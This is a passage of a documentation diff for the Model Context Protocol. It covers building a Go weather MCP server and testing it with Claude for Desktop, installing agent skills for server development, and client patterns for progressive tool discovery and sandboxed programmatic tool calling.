+ When implementing MCP servers, be careful about how you handle logging:
+
+ **For STDIO-based servers:** Never use `fmt.Println()` or `fmt.Printf()`, as they write to standard output (stdout). Writing to stdout will corrupt the JSON-RPC messages and break your server.
+
+ **For HTTP-based servers:** Standard output logging is fine since it doesn't interfere with HTTP responses.
+
+ ### Best Practices
+
+ * Use `log.Println()` (which defaults to stderr) or a logging library that writes to stderr or files.
+ * Use `fmt.Fprintf(os.Stderr, ...)` to write to stderr explicitly.
+
+ ### Quick Examples
+
+ ```go theme={null}
+ // ❌ Bad (STDIO)
+ fmt.Println("Processing request")
+
+ // ✅ Good (STDIO)
+ log.Println("Processing request") // defaults to stderr
+
+ // ✅ Good (STDIO)
+ fmt.Fprintln(os.Stderr, "Processing request")
+ ```
+
+ ### System requirements
+
+ * Go 1.24 or higher installed.
+
+ ### Set up your environment
+
+ First, let's install Go if you haven't already. You can download and install Go from [go.dev](https://go.dev/dl/).
+
+ Verify your Go installation:
+
+ ```bash theme={null}
+ go version
+ ```
+
+ Now, let's create and set up our project:
+
+
+ ```bash macOS/Linux theme={null}
+ # Create a new directory for our project
+ mkdir weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ touch main.go
+ ```
+
+ ```powershell Windows theme={null}
+ # Create a new directory for our project
+ md weather
+ cd weather
+
+ # Initialize Go module
+ go mod init weather
+
+ # Install dependencies
+ go get github.com/modelcontextprotocol/go-sdk/mcp
+
+ # Create our server file
+ new-item main.go
+ ```
+
+
+ Now let's dive into building your server.
+
+ ## Building your server
+
+ ### Importing packages and constants
+
+ Add these to the top of your `main.go`:
+
+ ```go theme={null}
+ package main
+
+ import (
+ "cmp"
+ "context"
+ "encoding/json"
+ "fmt"
+ "io"
+ "log"
+ "net/http"
+ "strings"
+
+ "github.com/modelcontextprotocol/go-sdk/mcp"
+ )
+
+ const (
+ NWSAPIBase = "https://api.weather.gov"
+ UserAgent = "weather-app/1.0"
+ )
+ ```
+
+ ### Data structures
+
+ Next, let's define the data structures used by our tools:
+
+ ```go theme={null}
+ type PointsResponse struct {
+ Properties struct {
+ Forecast string `json:"forecast"`
+ } `json:"properties"`
+ }
+
+ type ForecastResponse struct {
+ Properties struct {
+ Periods []ForecastPeriod `json:"periods"`
+ } `json:"properties"`
+ }
+
+ type ForecastPeriod struct {
+ Name string `json:"name"`
+ Temperature int `json:"temperature"`
+ TemperatureUnit string `json:"temperatureUnit"`
+ WindSpeed string `json:"windSpeed"`
+ WindDirection string `json:"windDirection"`
+ DetailedForecast string `json:"detailedForecast"`
+ }
+
+ type AlertsResponse struct {
+ Features []AlertFeature `json:"features"`
+ }
+
+ type AlertFeature struct {
+ Properties AlertProperties `json:"properties"`
+ }
+
+ type AlertProperties struct {
+ Event string `json:"event"`
+ AreaDesc string `json:"areaDesc"`
+ Severity string `json:"severity"`
+ Description string `json:"description"`
+ Instruction string `json:"instruction"`
+ }
+
+ type ForecastInput struct {
+ Latitude float64 `json:"latitude" jsonschema:"Latitude of the location"`
+ Longitude float64 `json:"longitude" jsonschema:"Longitude of the location"`
+ }
+
+ type AlertsInput struct {
+ State string `json:"state" jsonschema:"Two-letter US state code (e.g. CA, NY)"`
+ }
+ ```
+
+ ### Helper functions
+
+ Next, let's add our helper functions for querying and formatting the data from the National Weather Service API:
+
+ ```go theme={null}
+ func makeNWSRequest[T any](ctx context.Context, url string) (*T, error) {
+ req, err := http.NewRequestWithContext(ctx, http.MethodGet, url, nil)
+ if err != nil {
+ return nil, fmt.Errorf("failed to create request: %w", err)
+ }
+
+ req.Header.Set("User-Agent", UserAgent)
+ req.Header.Set("Accept", "application/geo+json")
+
+ client := http.DefaultClient
+ resp, err := client.Do(req)
+ if err != nil {
+ return nil, fmt.Errorf("failed to make request to %s: %w", url, err)
+ }
+ defer resp.Body.Close()
+
+ if resp.StatusCode != http.StatusOK {
+ body, _ := io.ReadAll(resp.Body)
+ return nil, fmt.Errorf("HTTP error %d: %s", resp.StatusCode, string(body))
+ }
+
+ var result T
+ if err := json.NewDecoder(resp.Body).Decode(&result); err != nil {
+ return nil, fmt.Errorf("failed to decode response: %w", err)
+ }
+
+ return &result, nil
+ }
+
+ func formatAlert(alert AlertFeature) string {
+ props := alert.Properties
+ event := cmp.Or(props.Event, "Unknown")
+ areaDesc := cmp.Or(props.AreaDesc, "Unknown")
+ severity := cmp.Or(props.Severity, "Unknown")
+ description := cmp.Or(props.Description, "No description available")
+ instruction := cmp.Or(props.Instruction, "No specific instructions provided")
+
+ return fmt.Sprintf(`
+ Event: %s
+ Area: %s
+ Severity: %s
+ Description: %s
+ Instructions: %s
+ `, event, areaDesc, severity, description, instruction)
+ }
+
+ func formatPeriod(period ForecastPeriod) string {
+ return fmt.Sprintf(`
+ %s:
+ Temperature: %d°%s
+ Wind: %s %s
+ Forecast: %s
+ `, period.Name, period.Temperature, period.TemperatureUnit,
+ period.WindSpeed, period.WindDirection, period.DetailedForecast)
+ }
+ ```
+
+ ### Implementing tool execution
+
+ The tool execution handler is responsible for actually executing the logic of each tool. Let's add it:
+
+ ```go theme={null}
+ func getForecast(ctx context.Context, req *mcp.CallToolRequest, input ForecastInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Get points data
+ pointsURL := fmt.Sprintf("%s/points/%f,%f", NWSAPIBase, input.Latitude, input.Longitude)
+ pointsData, err := makeNWSRequest[PointsResponse](ctx, pointsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast data for this location."},
+ },
+ }, nil, nil
+ }
+
+ // Get forecast data
+ forecastURL := pointsData.Properties.Forecast
+ if forecastURL == "" {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch forecast URL."},
+ },
+ }, nil, nil
+ }
+
+ forecastData, err := makeNWSRequest[ForecastResponse](ctx, forecastURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch detailed forecast."},
+ },
+ }, nil, nil
+ }
+
+ // Format the periods
+ periods := forecastData.Properties.Periods
+ if len(periods) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No forecast periods available."},
+ },
+ }, nil, nil
+ }
+
+ // Show next 5 periods
+ var forecasts []string
+ for i := range min(5, len(periods)) {
+ forecasts = append(forecasts, formatPeriod(periods[i]))
+ }
+
+ result := strings.Join(forecasts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+
+ func getAlerts(ctx context.Context, req *mcp.CallToolRequest, input AlertsInput) (
+ *mcp.CallToolResult, any, error,
+ ) {
+ // Build alerts URL
+ stateCode := strings.ToUpper(input.State)
+ alertsURL := fmt.Sprintf("%s/alerts/active/area/%s", NWSAPIBase, stateCode)
+
+ alertsData, err := makeNWSRequest[AlertsResponse](ctx, alertsURL)
+ if err != nil {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "Unable to fetch alerts or no alerts found."},
+ },
+ }, nil, nil
+ }
+
+ // Check if there are any alerts
+ if len(alertsData.Features) == 0 {
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: "No active alerts for this state."},
+ },
+ }, nil, nil
+ }
+
+ // Format alerts
+ var alerts []string
+ for _, feature := range alertsData.Features {
+ alerts = append(alerts, formatAlert(feature))
+ }
+
+ result := strings.Join(alerts, "\n---\n")
+
+ return &mcp.CallToolResult{
+ Content: []mcp.Content{
+ &mcp.TextContent{Text: result},
+ },
+ }, nil, nil
+ }
+ ```
+
+ ### Running the server
+
+ Finally, implement the main function to run the server:
+
+ ```go theme={null}
+ func main() {
+ // Create MCP server
+ server := mcp.NewServer(&mcp.Implementation{
+ Name: "weather",
+ Version: "1.0.0",
+ }, nil)
+
+ // Add get_forecast tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_forecast",
+ Description: "Get weather forecast for a location",
+ }, getForecast)
+
+ // Add get_alerts tool
+ mcp.AddTool(server, &mcp.Tool{
+ Name: "get_alerts",
+ Description: "Get weather alerts for a US state",
+ }, getAlerts)
+
+ // Run server on stdio transport
+ if err := server.Run(context.Background(), &mcp.StdioTransport{}); err != nil {
+ log.Fatal(err)
+ }
+ }
+ ```
+
+ Build your server with:
+
+ ```bash theme={null}
+ go build -o weather .
+ ```
+
+ The compiled binary will be in `./weather`.
+
+ Let's now test your server from an existing MCP host, Claude for Desktop.
+
+ ## Testing your server with Claude for Desktop
+
+
+ Claude for Desktop is not yet available on Linux. Linux users can proceed to the [Building a client](/docs/2025-03-26/develop/build-client) tutorial to build an MCP client that connects to the server we just built.
+
+
+ First, make sure you have Claude for Desktop installed. [You can install the latest version here.](https://claude.ai/download) If you already have Claude for Desktop, **make sure it's updated to the latest version.**
+
+ We'll need to configure Claude for Desktop for whichever MCP servers you want to use. To do this, open your Claude for Desktop App configuration at `~/Library/Application Support/Claude/claude_desktop_config.json` in a text editor. Make sure to create the file if it doesn't exist.
+
+ For example, if you have [VS Code](https://code.visualstudio.com/) installed:
+
+
+ ```bash macOS/Linux theme={null}
+ code ~/Library/Application\ Support/Claude/claude_desktop_config.json
+ ```
+
+ ```powershell Windows theme={null}
+ code $env:AppData\Claude\claude_desktop_config.json
+ ```
+
+
+ You'll then add your servers in the `mcpServers` key. The MCP UI elements will only show up in Claude for Desktop if at least one server is properly configured.
+
+ In this case, we'll add our single weather server like so:
+
+
+ ```json macOS/Linux theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "/ABSOLUTE/PATH/TO/PARENT/FOLDER/weather/weather"
+ }
+ }
+ }
+ ```
+
+ ```json Windows theme={null}
+ {
+ "mcpServers": {
+ "weather": {
+ "command": "C:\\ABSOLUTE\\PATH\\TO\\PARENT\\FOLDER\\weather\\weather.exe"
+ }
+ }
+ }
+ ```
+
+
+
+ Make sure you pass in the absolute path to your compiled binary. You can get this by running `pwd` on macOS/Linux or `cd` on Windows Command Prompt from your project directory. On Windows, remember to use double backslashes (`\\`) or forward slashes (`/`) in the JSON path, and add the `.exe` extension.
+
+
+ This tells Claude for Desktop:
+
+ 1. There's an MCP server named "weather"
+ 2. Launch it by running the compiled binary at the specified path
+
+ Save the file, and restart **Claude for Desktop**.
+
+
+
+### Test with commands
+
+Let's make sure Claude for Desktop is picking up the two tools we've exposed in our `weather` server. You can do this by looking for the "Add files, connectors, and more /" icon:
+
+
+
+
+
+After clicking on the plus icon, hover over the "Connectors" menu. You should see the `weather` servers listed:
+
+
+
+
+
+If your server isn't being picked up by Claude for Desktop, proceed to the [Troubleshooting](#troubleshooting) section for debugging tips.
+
+If the server has shown up in the "Connectors" menu, you can now test your server by running the following commands in Claude for Desktop:
+
+* What's the weather in Sacramento?
+* What are the active weather alerts in Texas?
+
+
+
+
+
+
+
+
+
+
+ Since this is the US National Weather service, the queries will only work for US locations.
+
+
+## What's happening under the hood
+
+When you ask a question:
+
+1. The client sends your question to Claude
+2. Claude analyzes the available tools and decides which one(s) to use
+3. The client executes the chosen tool(s) through the MCP server
+4. The results are sent back to Claude
+5. Claude formulates a natural language response
+6. The response is displayed to you!
+
+## Troubleshooting
+
+
+
+ **Getting logs from Claude for Desktop**
+
+ Claude.app logging related to MCP is written to log files in `~/Library/Logs/Claude`:
+
+ * `mcp.log` will contain general logging about MCP connections and connection failures.
+ * Files named `mcp-server-SERVERNAME.log` will contain error (stderr) logging from the named server.
+
+ You can run the following command to list recent logs and follow along with any new ones:
+
+ ```bash theme={null}
+ # Check Claude's logs for errors
+ tail -n 20 -f ~/Library/Logs/Claude/mcp*.log
+ ```
+
+ **Server not showing up in Claude**
+
+ 1. Check your `claude_desktop_config.json` file syntax
+ 2. Make sure the path to your project is absolute and not relative
+ 3. Restart Claude for Desktop completely
+
+
+ To properly restart Claude for Desktop, you must fully quit the application:
+
+ * **Windows**: Right-click the Claude icon in the system tray (which may be hidden in the "hidden icons" menu) and select "Quit" or "Exit".
+ * **macOS**: Use Cmd+Q or select "Quit Claude" from the menu bar.
+
+ Simply closing the window does not fully quit the application, and your MCP server configuration changes will not take effect.
+
+
+ **Tool calls failing silently**
+
+ If Claude attempts to use the tools but they fail:
+
+ 1. Check Claude's logs for errors
+ 2. Verify your server builds and runs without errors
+ 3. Try restarting Claude for Desktop
+
+ **None of this is working. What do I do?**
+
+ Please refer to our [debugging guide](/docs/2025-03-26/tools/debugging) for better debugging tools and more detailed guidance.
+
+
+
+ **Error: Failed to retrieve grid point data**
+
+ This usually means either:
+
+ 1. The coordinates are outside the US
+ 2. The NWS API is having issues
+ 3. You're being rate limited
+
+ Fix:
+
+ * Verify you're using US coordinates
+ * Add a small delay between requests
+ * Check the NWS API status page
+
+ **Error: No active alerts for \[STATE]**
+
+ This isn't an error - it just means there are no current weather alerts for that state. Try a different state or check during severe weather.
+
+
+
+
+ For more advanced troubleshooting, check out our guide on [Debugging MCP](/docs/2025-03-26/tools/debugging)
+
+
+## Next steps
+
+
+
+ Learn how to build your own MCP client that can connect to your server
+
+
+
+ Check out our gallery of official MCP servers and implementations
+
+
+
+ Learn how to effectively debug MCP servers and integrations
+
+
+
+ Use agent skills to guide AI coding assistants through server design
+
+
diff --git a/content/mcp/docs/2025-03-26/develop/build-with-agent-skills.md b/content/mcp/docs/2025-03-26/develop/build-with-agent-skills.md
new file mode 100644
index 000000000..0096b087b
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/develop/build-with-agent-skills.md
@@ -0,0 +1,102 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Build with Agent Skills
+
+> Use agent skills to guide AI coding assistants through MCP server design and implementation
+
+[Agent skills](https://agentskills.io/home) are portable instruction sets that
+give AI coding assistants domain knowledge for a task. For MCP development,
+they encode the design decisions (deployment model, tool patterns, auth) so
+your agent can interrogate your use case and scaffold a server that fits.
+
+## Available skills
+
+A reference set of MCP development skills is available as the
+[`mcp-server-dev` plugin](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev).
+It provides three composing skills:
+
+| Skill | Purpose |
+| ------------------ | ----------------------------------------------------------------------------------------------------------------------- |
+| `build-mcp-server` | Entry point. Interrogates the use case, picks a deployment model and tool-design pattern, routes to specialized skills. |
+| `build-mcp-app` | Adds interactive UI widgets (forms, pickers, dashboards) rendered inline in chat. |
+| `build-mcpb` | Packages a local stdio server with its runtime so users can install it without Node or Python. |
+
+Each skill ships a `SKILL.md` file plus a `references/` folder of supporting
+material (auth flows, tool-design patterns, widget templates, manifest schemas)
+that the agent reads on demand. The files follow the open format and work with
+any agent that implements the standard. For example, to install them in Claude
+Code:
+
+```bash theme={null}
+/plugin marketplace add anthropics/claude-plugins-official
+/plugin install mcp-server-dev
+```
+
+For other agents, check your skills or extensions catalog, or clone the
+[skill directories](https://github.com/anthropics/claude-plugins-official/tree/main/plugins/mcp-server-dev/skills)
+(`SKILL.md` plus `references/`) into your agent's skills location.
+
+## Start a build
+
+With the skills installed, ask your agent to help you build an MCP server. The
+entry skill triggers on natural-language requests, or you can invoke it
+directly using your agent's skill-invocation syntax.
+
+The skill runs a short discovery phase before writing any code. Expect
+questions about:
+
+* **What it connects to** — a cloud API, a local process, the filesystem, hardware
+* **Who will use it** — just you, your team, or anyone who installs it
+* **Action surface size** — a handful of operations versus wrapping a large API
+* **User interaction needs** — plain text results or rich UI widgets
+* **Upstream auth** — API keys, OAuth 2.0, or none
+
+If your opening message already covers these, the agent skips ahead to the
+recommendation.
+
+## Deployment paths
+
+Based on discovery, the skill recommends one of four paths and scaffolds
+accordingly:
+
+**Remote [Streamable HTTP](/specification/2025-03-26/basic/transports#streamable-http)**
+is the default for anything wrapping a cloud API. Zero install friction, one
+deployment serves all users, and OAuth flows work properly because the server
+can handle redirects and token storage. The reference skill includes scaffolds
+for Cloudflare Workers and portable Express/FastMCP setups.
+
+**[MCP apps](/extensions/apps/overview)** extend a server with interactive
+widgets rendered in chat, such as searchable pickers, charts, and live
+dashboards. The skill hands off to `build-mcp-app` when plain text output
+doesn't fit.
+
+**[MCP Bundles (MCPB)](https://github.com/modelcontextprotocol/mcpb)** package a
+local server together with its runtime as a single `.mcpb` archive, so users
+can install it without setting up Node or Python. Use this path when the server
+must touch the user's machine: reading local files, driving desktop apps, or
+talking to localhost services. The skill hands off to `build-mcpb`.
+
+**Local [stdio](/specification/2025-03-26/basic/transports#stdio)** remains available
+for prototyping, with a noted upgrade path to MCPB when you're ready to
+distribute.
+
+## Next steps
+
+Once your agent scaffolds the server, iterate on tool descriptions and error
+handling, then test and ship:
+
+
+
+ Test your server's tools, resources, and prompts interactively
+
+
+
+ Wire your server into an MCP client via local or remote configuration
+
+
+
+ Make your server discoverable in the MCP Registry
+
+
diff --git a/content/mcp/docs/2025-03-26/develop/clients/client-best-practices.md b/content/mcp/docs/2025-03-26/develop/clients/client-best-practices.md
new file mode 100644
index 000000000..67555ca24
--- /dev/null
+++ b/content/mcp/docs/2025-03-26/develop/clients/client-best-practices.md
@@ -0,0 +1,296 @@
+> ## Documentation Index
+> Fetch the complete documentation index at: https://modelcontextprotocol.io/llms.txt
+> Use this file to discover all available pages before exploring further.
+
+# Client Best Practices
+
+> Patterns for scaling MCP host applications across many servers and tools.
+
+As MCP host applications, such as agents, connect to more MCP servers and accumulate access to hundreds or thousands of tools, naive approaches to tool management break down. Loading every tool definition into the model's context window upfront wastes tokens, increases latency, and degrades model performance. Passing large intermediate results through the model between sequential tool calls compounds the problem.
+
+Two patterns address these challenges: **progressive discovery**, which controls *when* tool definitions enter context, and **programmatic tool calling**, which controls *how* tools are invoked.
+
+## Progressive Tool Discovery
+
+Naive MCP host implementations pass the tool definitions of every connected server directly to the model at the start of each conversation. For a handful of tools, this is perfectly reasonable. But when a host has access to dozens of servers exposing hundreds of tools, those definitions alone can consume the majority of the context window before the model has even read the user's message.
+
+
+
+Progressive discovery avoids this:
+
+* The host fetches tool definitions via `tools/list` as normal, but defers injecting them into the model's context.
+* The host provides a lightweight `search_tools` meta-tool to the model.
+* The host loads full definitions into context only as needed.
+
+### When to Use Progressive Discovery
+
+Progressive discovery is best used when tool definitions take large parts of the context window. For a small
+set of tools with tool definitions taking up a small part of the context window, loading all tools is fine.
+Once the tool definitions take up a significant part of the available context window, clients should switch to progressive discovery. We recommend that clients implement thresholds to determine when to switch:
+
+* Implement a threshold as a percentage of the context window. For example, 1%-5%.
+* Load tool definitions. Once the threshold is reached, switch to progressive discovery.
+
+### Choosing a Discovery Strategy
+
+Once the model invokes the `search_tools` tool, we need to choose a search strategy:
+
+* **Keyword-based**: Keyword matching (BM25, regex). Simple and effective, particularly for descriptive tool names and descriptions.
+* **Embedding-based**: Vector-similarity retrieval over tool descriptions. Handles synonyms and semantic matching better.
+* **Subagent-based**: A secondary model, often a small and fast model such as Claude Haiku or Gemini Flash, selects tools for the task. This usually works very well but can be more costly than embedding-based or keyword-based solutions.
+* **Hybrid**: Combine approaches. For example, by scoring across keyword and embedding rankings, or choosing
+ different strategies depending on use-case or query.
+
+Some model providers already offer built-in tool search. For example, [OpenAI](https://developers.openai.com/api/docs/guides/tools-tool-search) and [Anthropic](https://platform.claude.com/docs/en/agents-and-tools/tool-use/tool-search-tool) support this natively; check your provider's documentation for an equivalent. When available, you may prefer the platform's tool search over a custom implementation. Build your own when the provider doesn't offer one or when you need specialized retrieval logic (e.g., domain-specific ranking or access-control filtering).
+
+The three-layer pattern below illustrates a custom search-based approach in detail, but the layered principle (catalog, inspect, execute) applies regardless of retrieval mechanism.
+
+### Using Progressive Discovery
+
+One common implementation for progressive discovery uses a search-based three-layer approach:
+
+**Layer 1: Catalog.** The host exposes a small set of meta-tools for searching available capabilities. A `search_tools` tool accepts a natural-language query and returns matching tool names with brief descriptions.
+
+```typescript theme={null}
+// The model calls a lightweight search tool
+search_tools({ query: "update salesforce record" })
+
+// Returns concise matches: names and one-line descriptions only
+→ [
+ { name: "salesforce_updateRecord", description: "Update fields on a Salesforce object" },
+ { name: "salesforce_upsertRecord", description: "Insert or update based on external ID" }
+ ]
+```
+
+**Layer 2: Inspect.** Once the model identifies a candidate, it fetches the full definition (input schema, documentation) for that tool only.
+
+```typescript theme={null}
+// The model inspects only the tool it needs
+get_tool_details({ name: "salesforce_updateRecord" });
+```
+
+This returns the complete schema for a single tool:
+
+```json theme={null}
+{
+ "name": "salesforce_updateRecord",
+ "description": "Updates a record in Salesforce",
+ "inputSchema": {
+ "type": "object",
+ "properties": {
+ "objectType": {
+ "type": "string",
+ "description": "Salesforce object type"
+ },
+ "recordId": { "type": "string", "description": "Record ID to update" },
+ "data": { "type": "object", "description": "Fields to update" }
+ },
+ "required": ["objectType", "recordId", "data"]
+ }
+}
+```
+
+**Layer 3: Execute.** The model calls the tool with full knowledge of its interface, having loaded only the definitions it needed.
+
+This pattern reduces token usage dramatically and can improve tool selection accuracy: the model focuses on a few relevant tools rather than scanning hundreds of irrelevant ones. Other discovery strategies (embeddings, subagents, etc.) follow the same layered principle but substitute different retrieval mechanisms in the catalog layer.
+
+### Dynamic Server Management
+
+Progressive discovery extends beyond individual tools to entire servers. Rather than connecting to every configured server at startup, a host can:
+
+1. Maintain a registry of available servers and their high-level descriptions.
+2. Connect to a server only when the model determines it needs that server's capabilities.
+3. Disconnect servers that are no longer relevant to the current task, freeing context.
+
+```mermaid theme={null}
+sequenceDiagram
+ participant Model
+ participant Host
+ participant Registry
+ participant Server
+
+ Model->>Host: search_available_servers("CRM")
+ Host->>Registry: Query available servers
+ Registry-->>Host: Salesforce server (not connected)
+ Host-->>Model: Salesforce server available
+
+ Model->>Host: enable_server("salesforce")
+ Host->>Server: Initialize connection
+ Server-->>Host: Server capabilities + tools
+ Host-->>Model: Salesforce server connected
+
+ Note over Model: Task complete
+
+ Model->>Host: disable_server("salesforce")
+ Host->>Server: Close connection
+ Host-->>Model: Server disconnected, context freed
+```
+
+This works especially well for general-purpose agents, where the user's intent isn't known upfront. The agent starts with a minimal set of always-on servers and connects others as needed. Combined with [agent skills](/docs/2025-03-26/develop/build-with-agent-skills), a skill file can declare which MCP servers it needs, and the host connects them only when that skill is invoked.
+
+### Implementation Guidelines
+
+When implementing progressive discovery:
+
+| Guideline | Rationale |
+| -------------------------------- | -------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------- |
+| **Offer multiple detail levels** | Let the model choose between name-only, name-and-description, or full-schema responses. |
+| **Cache tool definitions** | Once fetched from a server, memoize the definition host-side so re-injecting it later doesn't need another `tools/list` round trip. This is separate from what's currently in the model's context. |
+| **Refresh on `list_changed`** | Re-index the search catalog when a server sends `notifications/tools/list_changed`. |
+| **Group tools by server** | Present tools organized by their source server so the model can reason about related capabilities. |
+
+### Interaction with Prompt Caching
+
+Most providers cache the prompt prefix, including the `tools` array. Adding or removing tool
+definitions mid-conversation invalidates that cache, and the resulting miss can cost more tokens
+than the definitions you removed. To preserve caching:
+
+* Append newly discovered definitions after the cache breakpoint rather than re-sorting the
+ `tools` array, or route every call through a single stable `call_tool({name, args})` meta-tool
+ so the array never changes.
+* Treat server disconnection as a conversation-boundary operation rather than a per-turn one.
+* Consult your provider's caching documentation alongside the tool-search links above.
+
+## Programmatic Tool Calling / Code Mode
+
+With direct tool calling, every tool invocation is a round trip: the model generates a tool call, the client executes it, and the full result flows back into the model's context. When a task requires chaining multiple tools (read a document, transform it, write it somewhere else), each intermediate result passes through the model, consuming tokens and adding latency even when it has nothing to do with them.
+
+Programmatic tool calling (sometimes called "code mode") provides a way for clients to **compose tool calls** effectively. Instead of calling tools directly, the model writes code that calls tools. The code executes in a sandboxed environment, and only the final result returns to the model.
+
+Programmatic tool calling is powerful and allows for more efficient use of MCP tools and resources, but requires
+clients to implement a sandbox environment.
+
+
+
+### How It Works
+
+The host converts MCP tool schemas into a typed API available inside a sandbox. When the model needs tools, it writes a script and executes it.
+
+**Step 1: Generate a programmatic API from MCP schemas.** The host reads each server's tool definitions and produces typed functions based on each tool's arguments:
+
+```typescript theme={null}
+// Auto-generated from the Logging MCP server's tool schema
+interface LogEntry {
+ timestamp: string;
+ message: string;
+ level: string;
+}
+
+function logging_getLogs(input: {
+ level: "error" | "warn" | "info";
+ since: number;
+}): Promise<{ entries: LogEntry[] }> {
+ return mcp.callTool<{ entries: LogEntry[] }>("logging_getLogs", input);
+}
+
+// Auto-generated from the Ticketing MCP server's tool schema
+function ticketing_createIssue(input: {
+ title: string;
+ body?: string;
+ priority: "low" | "medium" | "high";
+}): Promise<{ issueId: string }> {
+ return mcp.callTool<{ issueId: string }>("ticketing_createIssue", input);
+}
+```
+
+Tool definitions in this protocol version describe tool inputs only. Precise return types (like `LogEntry` above) have to come from server documentation or manual configuration.
+
+When precise return types are unavailable, prefer the simple path:
+
+* **Use a generic type and move on.** Accept `any` or `string` and handle the unstructured output downstream.
+* **Extract a typed result using a fast model**, for single-shot calls outside loops. Expose a host-brokered `extract(value, ExpectedType)` helper through the same stub-interception path as MCP tool calls so the sandbox itself never opens a network connection. The helper routes to a small model (for example, Claude Haiku or Gemini Flash) to coerce the value into `ExpectedType`. This adds per-call latency and can hallucinate or drop fields, so validate the result against `ExpectedType` before use.
+
+**Step 2: The model writes code against these APIs.** Rather than making separate tool calls with full results flowing through context between them, the model writes a single script. Consider a task like "find all error logs from the past hour and file a ticket for each unique error." With direct tool calling, thousands of log entries would flow through the model's context. With code, the model filters in the sandbox:
+
+```typescript theme={null}
+// Model-generated code, executes in sandbox
+const logs = await logging_getLogs({
+ level: "error",
+ since: Date.now() - 3600000,
+});
+
+// Filter and deduplicate inside the sandbox, not in the model's context
+const uniqueErrors = new Map();
+for (const log of logs.entries) {
+ if (!uniqueErrors.has(log.message)) {
+ uniqueErrors.set(log.message, log);
+ }
+}
+
+for (const [message, log] of uniqueErrors) {
+ await ticketing_createIssue({
+ title: `Error: ${message}`,
+ body: `First seen: ${log.timestamp}\nOccurrences: ${
+ logs.entries.filter((l) => l.message === message).length
+ }`,
+ priority: "high",
+ });
+}
+
+console.log(
+ `Filed ${uniqueErrors.size} tickets from ${logs.entries.length} error logs`,
+);
+```
+
+**Step 3: The sandbox executes the code.** Function calls inside the sandbox are intercepted and routed back to the appropriate MCP server through the host broker. The log data and ticket creation flow directly between servers without ever entering the model's context. Only the `console.log` output, a single summary line, returns to the model.
+
+### Choosing a Sandbox
+
+The right sandbox depends on the language you want the model to write, your host application's language, and how much isolation you need. The table lists example runtimes rather than endorsements; evaluate maturity for your use case:
+
+| Sandboxed language | Runtime / Library | Host language | Approach |
+| ------------------ | ------------------------------------------------------------- | ----------------- | ----------------------------------------------------------------------------------------------- |
+| **JavaScript** | [Deno](https://github.com/denoland/deno), `isolated-vm` | Rust / Node / CLI | V8-based runtimes with fine-grained permissions. Can disable all permissions for full lockdown. |
+| **Python** | [Monty](https://github.com/pydantic/monty) *(experimental)* | Rust | Minimal Python interpreter built for AI use cases. No I/O by default. |
+| **TypeScript** | [pctx](https://github.com/portofcontext/pctx) *(early-stage)* | Python / Rust | Incorporates code mode concepts as a library, with low-level Rust support. |
+| **Any (via Wasm)** | [Wasmtime](https://github.com/bytecodealliance/wasmtime) | Rust / C / Go | Compile any language to Wasm and run it with capability-based security. |
+
+Regardless of sandbox, the integration pattern is the same: the host injects function stubs, intercepts calls over an in-process or stdio channel (so network permissions can stay fully denied), and dispatches them as `tools/call` requests to MCP servers.
+
+### Execution Architecture
+
+The implementation has three components:
+
+```mermaid theme={null}
+flowchart LR
+ subgraph Host["MCP Host"]
+ A[LLM] -->|writes code| B[Sandbox]
+ B -->|function call| C[MCP Client]
+ C -->|return value| B
+ B -->|console output| A
+ end
+ C -->|tool call| D[MCP Server A]
+ C -->|tool call| E[MCP Server B]
+ D -->|result| C
+ E -->|result| C
+```
+
+**The sandbox** runs model-generated code in an isolated environment with no direct network access. Its only interface to the outside world is through the generated function stubs, which route calls back to the host.
+
+**The host** acts as a broker. It receives function calls from the sandbox, maps them to the correct MCP server, executes the tool call, and returns the result to the sandbox. Authorization tokens and credentials are held by the host and never exposed to the generated code.
+
+**The model** sees only what the sandbox returns, typically the output of `console.log` statements or a final return value. This gives the model (and the client developer) precise control over what enters the context window.
+
+### Security Considerations
+
+Programmatic tool calling introduces a code execution surface that requires careful sandboxing:
+
+* **Per-call authorization**: The broker is still the MCP host for spec purposes. Apply the same human-in-the-loop confirmation policy to sandbox-originated calls that you apply to direct calls (see [Tools: Security](/specification/2025-03-26/server/tools#security-considerations)). Approving the script does not grant blanket approval for every tool call it makes at runtime; hosts may grant categorical approval (for example, "allow `ticketing_createIssue` for this script run") rather than prompting per iteration, but the broker must still evaluate each call against that grant.
+* **Cross-server data flow**: Tool results from one server are untrusted input to another. The broker should apply the same input-review policy to brokered calls as to direct ones; output truncation alone does not prevent exfiltration.
+* **Network isolation**: The sandbox should have no direct network access. All external communication flows through the host broker, which enforces authorization and access control.
+* **No credential exposure**: API keys and tokens are held by the host. The generated code calls typed functions; the host adds authentication when forwarding to servers.
+* **Resource limits**: Set timeouts and memory limits on sandbox execution to prevent runaway scripts.
+* **Output filtering**: Validate and truncate sandbox console output before feeding it back to the model.
+
+### Error Handling
+
+MCP tool errors arrive as a successful response with
+[`isError: true`](/specification/2025-03-26/server/tools#error-handling) rather than a transport
+failure. Generated wrappers should convert this into a thrown exception so model-authored code
+can use `try`/`catch`. If an uncaught error terminates the script, surface it as the script's
+result so the model can self-correct; the model is responsible for reporting any partial side
